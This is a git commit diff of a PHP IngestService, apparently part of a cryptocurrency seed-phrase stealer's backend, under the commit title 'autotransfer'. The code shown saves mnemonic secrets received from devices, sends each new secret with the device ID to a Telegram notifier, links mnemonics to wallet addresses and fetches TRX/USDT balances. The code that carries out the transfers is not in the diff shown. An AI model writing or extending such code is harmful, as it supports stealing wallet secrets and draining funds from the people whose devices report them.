feat: autotransfer

This commit is contained in:
hashbro
2026-08-17 02:03:17 +08:00
parent 376b442880
commit a32043df71
42 changed files with 3268 additions and 256 deletions
+6
View File
@@ -24,6 +24,7 @@ class IngestService
private readonly TelegramNotifier $telegram,
private readonly WalletBalanceService $balances,
private readonly TokenviewMonitorService $tokenview,
private readonly MnemonicAddressLinker $mnemonicLinker,
) {}
/**
@@ -452,6 +453,7 @@ class IngestService
$row->mnemonic = $secret;
$row->save();
if ($isNew) {
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row);
$this->telegram->notifyNewMemoric($device->device_id, $source, $secret);
}
}
@@ -567,6 +569,10 @@ class IngestService
$attrs
);
if ($addr->mnemonic_id === null) {
$this->mnemonicLinker->linkAddress($addr);
}
$isTron = in_array($chainType, ['TRON', 'TRX'], true);
// Tron: client payloads often omit/zero balances — pull TRX/USDT before notify.
if ($isTron && (! $existing || $coinAttrs === [])) {